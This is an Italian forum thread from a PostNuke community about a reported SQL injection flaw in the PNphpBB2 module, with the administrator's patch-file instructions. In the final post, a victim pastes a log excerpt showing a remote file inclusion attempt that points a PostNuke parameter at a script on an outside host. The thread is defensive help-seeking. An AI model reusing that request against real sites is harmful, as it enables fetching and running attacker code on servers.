Postnuke Italia il meglio di postnuke in Italiano  


Nuova discussione   Rispondi
Precedente Versione stampabile Messaggi privati Successivo
Supporto Discussione
Status: Inviato

Autore Messaggio
motociclanteOffline
21 Oggetto: Security Alert - PostNuke PNphpBB2 Module "c" SQL  MessaggioInviato: 12 Giu 2007 - 06:49 AM
PN Utente
PN Utente


Registrato: 10 Mar 2006
Messaggi: 74

Status: Offline
Tratto da Secunia.com

L'articolo completo: http://secunia.com/advisories/25480/

Description:
Kacper has discovered a vulnerability in the PNphpBB2 module for PostNuke, which can be exploited by malicious people to conduct SQL injection attacks.

Saluti.

_________________
MotoCiclante
______________________________________________
http://www.lamateriagrigia.com ...tutto si trasforma.
 
 Profilo Invia un Messaggio privato a questo utente Homepage  
Rispondi citando Torna in cima
ArgosOffline
Oggetto: [RISOLTO] Security Alert - PostNuke PNphpBB2 Module "c&  MessaggioInviato: 25 Giu 2007 - 07:22 AM
Amministratore Sito
Amministratore Sito


Registrato: 22 Ago 2004
Messaggi: 524
Località: Rimini
Status: Offline
Sostituire il file index.php dopo averlo scaricato da qui

_________________
Argos
**************************************
Un Gesto vale più di mille parole.
**************************************
Chi smette di lottare per ciò che ama comincia ad amare ciò che ha
 
 Profilo Invia un Messaggio privato a questo utente Homepage  
Rispondi citando Torna in cima
motociclanteOffline
Oggetto: Re: [RISOLTO] Security Alert - PostNuke PNphpBB2 Module &quo  MessaggioInviato: 26 Giu 2007 - 03:30 AM
PN Utente
PN Utente


Registrato: 10 Mar 2006
Messaggi: 74

Status: Offline
Argos ha scritto:
Sostituire il file index.php dopo averlo scaricato da qui



Ho provato a sostituire il file ma dice "Accesso non autorizzato"

_________________
MotoCiclante
______________________________________________
http://www.lamateriagrigia.com ...tutto si trasforma.
 
 Profilo Invia un Messaggio privato a questo utente Homepage  
Rispondi citando Torna in cima
ArgosOffline
Oggetto: Re: [RISOLTO] Security Alert - PostNuke PNphpBB2 Module &  MessaggioInviato: 26 Giu 2007 - 09:34 AM
Amministratore Sito
Amministratore Sito


Registrato: 22 Ago 2004
Messaggi: 524
Località: Rimini
Status: Offline
Allora prima lo elimini e dopo lo carichi con il tuo programma FTP.

_________________
Argos
**************************************
Un Gesto vale più di mille parole.
**************************************
Chi smette di lottare per ciò che ama comincia ad amare ciò che ha
 
 Profilo Invia un Messaggio privato a questo utente Homepage  
Rispondi citando Torna in cima
motociclanteOffline
Oggetto: Re: [RISOLTO] Security Alert - PostNuke PNphpBB2 Module &  MessaggioInviato: 26 Giu 2007 - 09:53 AM
PN Utente
PN Utente


Registrato: 10 Mar 2006
Messaggi: 74

Status: Offline
Argos ha scritto:
Allora prima lo elimini e dopo lo carichi con il tuo programma FTP.


E' esattamente quello che ho fatto anche io ma senza successo. Sad

Ma questo index.php va copiato nella root del sito web o nella root del modulo del forum? Scusa se chiedo una minchiata.

_________________
MotoCiclante
______________________________________________
http://www.lamateriagrigia.com ...tutto si trasforma.
 
 Profilo Invia un Messaggio privato a questo utente Homepage  
Rispondi citando Torna in cima
ArgosOffline
Oggetto: Re: [RISOLTO] Security Alert - PostNuke PNphpBB2 Module &  MessaggioInviato: 27 Giu 2007 - 03:28 AM
Amministratore Sito
Amministratore Sito


Registrato: 22 Ago 2004
Messaggi: 524
Località: Rimini
Status: Offline
va sostituito con il file index.php della cartella del forum PNphpBB2.

_________________
Argos
**************************************
Un Gesto vale più di mille parole.
**************************************
Chi smette di lottare per ciò che ama comincia ad amare ciò che ha
 
 Profilo Invia un Messaggio privato a questo utente Homepage  
Rispondi citando Torna in cima
motociclanteOffline
12 Oggetto: Re: [RISOLTO] Security Alert - PostNuke PNphpBB2 Module &  MessaggioInviato: 27 Giu 2007 - 04:51 AM
PN Utente
PN Utente


Registrato: 10 Mar 2006
Messaggi: 74

Status: Offline
Argos ha scritto:
va sostituito con il file index.php della cartella del forum PNphpBB2.


GRAAAAAAAAAAZIE mille. Fatto e funziona.

Cheers.

_________________
MotoCiclante
______________________________________________
http://www.lamateriagrigia.com ...tutto si trasforma.
 
 Profilo Invia un Messaggio privato a questo utente Homepage  
Rispondi citando Torna in cima
tolucOffline
Oggetto: Re: [RISOLTO] Security Alert - PostNuke PNphpBB2 Module &quo  MessaggioInviato: 02 Apr 2008 - 03:10 PM
PN Principiante
PN Principiante


Registrato: 07 Nov 2006
Messaggi: 5

Status: Offline
Argos ha scritto:
Sostituire il file index.php dopo averlo scaricato da qui


Ho appena ricevuto un attacco al forum, avevo installato la versione di dicembre 2007, pensavo che fosse comprensiva di tutte le patch con data anteriore...

In caso contrario quali devo inserire?

L'estratto del log che mi hanno madato è il seguente:

"84.18.207.64 - - [01/Apr/2008:06:47:12 +0200] "GET
/modules.php?op=modload&name=PNphpBB2&file=index&c=1//?
mosConfig_absolute_path=http://mykonos.bargaingreece.com//components/com_log/sefe.txt??
HTTP/1.1" 200 17368 "-" "libwww-perl/5.808"

Vi ringrazio anticipatamente,

Luca
 
 Profilo Invia un Messaggio privato a questo utente  
Rispondi citando Torna in cima
Mostra prima i messaggi di:     
Vai a:  
Tutti i fusi orari sono GMT
Nuova discussione   Rispondi
Precedente Versione stampabile Messaggi privati Successivo
Powered by PNphpBB2 © 2003-2007 
Credits Vers. Italiana By PostnukeItalia.com


Web site powered by PostNuke ADODB database library PHP Language PostNukeItalia.com - La comunità italiana utenti PostNuke

Tutti i loghi e marchi in questo sito sono di proprietà dei rispettivi proprietari.
I commenti sono di proprietà dei rispettivi autori, ed il resto © 2008 PostNukeItalia.com
Questo sito è stato creato con PostNuke, supportato e personalizzato dallo staff di PostNukeItalia.com
PostNuke è un sistema di gestione di siti/portali scritto in PHP.
PostNuke è un software libero rilasciato sotto la licenza GNU/GPL.
Puoi visualizzare le nostre news usando il file backend.php



Page created in 0.25 seconds.